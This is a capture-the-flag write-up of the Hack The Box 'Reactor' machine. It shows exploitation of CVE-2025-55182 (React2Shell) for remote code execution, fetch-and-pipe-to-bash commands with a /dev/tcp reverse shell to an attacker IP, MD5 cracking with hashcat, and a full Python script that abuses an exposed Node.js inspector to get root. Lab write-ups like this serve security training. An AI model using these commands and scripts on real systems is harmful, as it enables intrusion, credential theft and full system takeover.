Reactor WriteUp

Table of Contents

Reactor WriteUp

Reactor is a 🟩 Easy difficulty machine on Hack The Box, part of Season 11. The name is no coincidence, it points directly to React and the vulnerability CVE-2025-55182 (nicknamed React2Shell), a CVSS 10.0 pre-auth RCE in React Server Components.

πŸ—ΊοΈ Attack Chain

Nmap β†’ Port 22 (SSH) + 3000 (Next.js / React 19)
      β”‚
      β–Ό
CVE-2025-55182 (React2Shell) β†’ malicious RSC deserialization β†’ RCE as node
      β”‚
      β–Ό
/opt/reactor-app/reactor.db β†’ MD5 hash of engineer
      β”‚
      β–Ό
hashcat β†’ reactor1
      β”‚
      β–Ό
SSH as engineer β†’ user.txt 🚩
      β”‚
      β–Ό
Node.js --inspect (root, localhost:9229) β†’ CDP WebSocket β†’ chmod +s /bin/bash β†’ root 🏴

πŸ” Reconnaissance

/etc/hosts

echo "10.129.1.162 reactor.htb" | sudo tee -a /etc/hosts

Port Scan

Phase 1, Quick TCP discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv reactor.htb

Phase 2, Version and script detection:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv reactor.htb
PortServiceDetail
22SSHOpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000HTTPNext.js (X-Powered-By: Next.js)

Web Enumeration

http://reactor.htb:3000 serves ReactorWatch, Core Monitoring System v3.2.1, a monitoring dashboard for a fictional nuclear reactor (Nuclear Dynamics Corp., Facility SITE-7). The page is public and fully server-side rendered via React Server Components (RSC).

The machine name is the biggest hint: Reactor = React + RCE.

πŸ’‰ Initial Access, CVE-2025-55182 (React2Shell)

What is CVE-2025-55182?

🧠 Concept: CVE-2025-55182, nicknamed React2Shell, is an unsafe deserialization vulnerability in React Server Components (versions 19.0.0, 19.2.0). The RSC (React Flight) protocol processes multipart payloads that can reference internal properties of the response object via identifiers like $@. An attacker can craft a payload that injects a Function() call with arbitrary code through the _prefix field of _response, achieving pre-authenticated RCE with CVSS 10.0. The vulnerable endpoint in Next.js is the Server Actions handler (Next-Action).

Exploitation

git clone https://github.com/whiteov3rflow/CVE-2025-55182-poc
cd CVE-2025-55182-poc

Verify RCE with an OOB callback:

# Terminal 1 - HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 2
python3 exploit.py 'curl http://10.10.14.101/rce-test' http://reactor.htb:3000
10.129.1.162 - - [23/May/2026 22:18:59] "GET /rce-test HTTP/1.1" 404 -

RCE confirmed. Get a reverse shell:

# Terminal 1 - listener
penelope -p 8443

# Terminal 2 - payload
echo 'bash -i >& /dev/tcp/10.10.14.101/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 3 - exploit
python3 exploit.py 'curl http://10.10.14.101/shell.sh|bash' http://reactor.htb:3000
[+] Got reverse shell from reactor~10.129.1.162-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
node@reactor:/opt/reactor-app$

βœ… Shell as node. The payload leverages process.mainModule.require('child_process').execSync() injected through the _prefix field of the _response object in the RSC protocol.

πŸ”‘ Pivot to User, SQLite β†’ engineer

Credential Extraction

The application uses a local SQLite database:

strings /opt/reactor-app/reactor.db
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL,
    role TEXT NOT NULL,
    email TEXT
engineer  39d97110eafe2a9a68639812cd271e8e  operator  engineer@reactor.htb
admin     a203b22191d744a4e70ada5c101b17b8  administrator  admin@reactor.htb

MD5 Hash Cracking

echo "39d97110eafe2a9a68639812cd271e8e" > hash_engineer.txt
hashcat -m 0 hash_engineer.txt /usr/share/wordlists/rockyou.txt --force
39d97110eafe2a9a68639812cd271e8e:reactor1

SSH Access as engineer

ssh engineer@reactor.htb # reactor1

🚩 User Flag

cat /home/engineer/user.txt

πŸ§— Privilege Escalation, Node.js Inspector β†’ root

Identifying the Vector

Reviewing running processes as engineer:

ps aux
root    1405  0.0  2.1 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

A Node.js process is running as root with --inspect=127.0.0.1:9229. This exposes the Chrome DevTools Protocol (CDP) on localhost, allowing arbitrary JavaScript execution inside the process, meaning RCE as root.

🧠 Concept: The --inspect flag opens a WebSocket implementing the Chrome DevTools Protocol. Any connected client can use Runtime.evaluate to run JS with the process’s privileges. If the process runs as root, that’s arbitrary code execution as root.

Confirming the Endpoint

curl -s http://127.0.0.1:9229/json/list
[{
  "description": "node.js instance",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "url": "file:///opt/uptime-monitor/worker.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/f9010f6d-2e0f-4d88-9651-2fcc001f07c2"
}]

Option A, node inspect (simplest)

node inspect is the built-in Node.js interactive debugger. It accepts a HOST:PORT argument and connects to the inspector via CDP. Once inside you get a REPL where exec() evaluates JS directly in the remote process:

node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
Break on start in node:internal/bootstrap/realm.js:383:1
debug>
debug> exec("process.mainModule.require('child_process').execSync('chmod +s /bin/bash').toString()")
debug> .exit

πŸ’‘ exec() in this REPL evaluates code in the target process context, not in node inspect’s own context. No manual WebSocket frame construction needed.

Option B, Python script (no extra dependencies)

Option A isn’t always viable: node inspect is interactive and can’t be easily piped in a non-tty shell. The Python script reimplements the same CDP protocol directly over TCP.

What the script does step by step:

  1. Fetches the WebSocket URL from the HTTP diagnostics endpoint (/json).
  2. Performs the WebSocket handshake manually: sends the HTTP Upgrade: websocket header with the standard negotiation key.
  3. Sends masked frames: RFC 6455 requires every frame sent by the client to include 4 masking bytes XOR’d over the payload. Without this, the server silently closes the connection.
  4. Enables the Runtime domain via Runtime.enable (required before calling Runtime.evaluate).
  5. Executes JS as root: process.mainModule.require(...) accesses the require function from the worker’s main module (CommonJS), not a global require, but the one Node.js injects into each CJS module through its module wrapper.
cat > /tmp/inspector_pwn.py << 'EOF'
import socket, json, urllib.request, time, os, struct

data = json.loads(urllib.request.urlopen('http://127.0.0.1:9229/json').read())
path = data[0]['webSocketDebuggerUrl'].split('9229')[1]

sock = socket.socket()
sock.connect(('127.0.0.1', 9229))
sock.settimeout(8)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {path} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)

def send_msg(s, msg):
    payload = msg.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
    ln = len(payload)
    if ln <= 125:
        hdr = bytes([0x81, 0x80|ln]) + mask
    elif ln <= 65535:
        hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
    else:
        hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
    s.send(hdr + masked)

def recv_msg(s):
    try: return s.recv(4096)
    except: return b''

send_msg(sock, json.dumps({"id":0,"method":"Runtime.enable"}))
time.sleep(0.5)
recv_msg(sock)

send_msg(sock, json.dumps({"id":1,"method":"Runtime.evaluate","params":{
    "expression": "process.mainModule.require('child_process').execSync('chmod +s /bin/bash').toString()"
}}))
time.sleep(2)
print(recv_msg(sock))
sock.close()
EOF
python3 /tmp/inspector_pwn.py
b'\x819{"id":1,"result":{"result":{"type":"string","value":""}}}'

execSync('chmod +s /bin/bash') executed as root. Empty string = success (chmod produces no stdout).

ls -la /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash
/bin/bash -p
id
uid=1001(engineer) gid=1001(engineer) euid=0(root) egid=0(root) groups=0(root),4(adm),27(sudo),998(lxd),1001(engineer)

βœ… Root shell via SUID bash. A Node.js process with --inspect bound to loopback is enough to execute arbitrary code as root, no port forwarding required.

🏴 Root Flag

cat /root/root.txt

πŸ“ Attack Summary

#TechniqueToolResult
1ReconnaissancenmapPort 3000 Next.js/React 19
2CVE-2025-55182 React2Shell (pre-auth RCE)exploit.pyShell as node
3SQLite credential extractionstringsMD5 hash of engineer
4MD5 crackinghashcat + rockyou.txtPassword: reactor1
5SSHsshShell as engineer + user.txt 🚩
6Node.js --inspect (CDP WebSocket)node inspect / Pythonchmod +s /bin/bash as root
7SUID bash/bin/bash -pShell as root + root.txt 🏴

See you in the next challenge.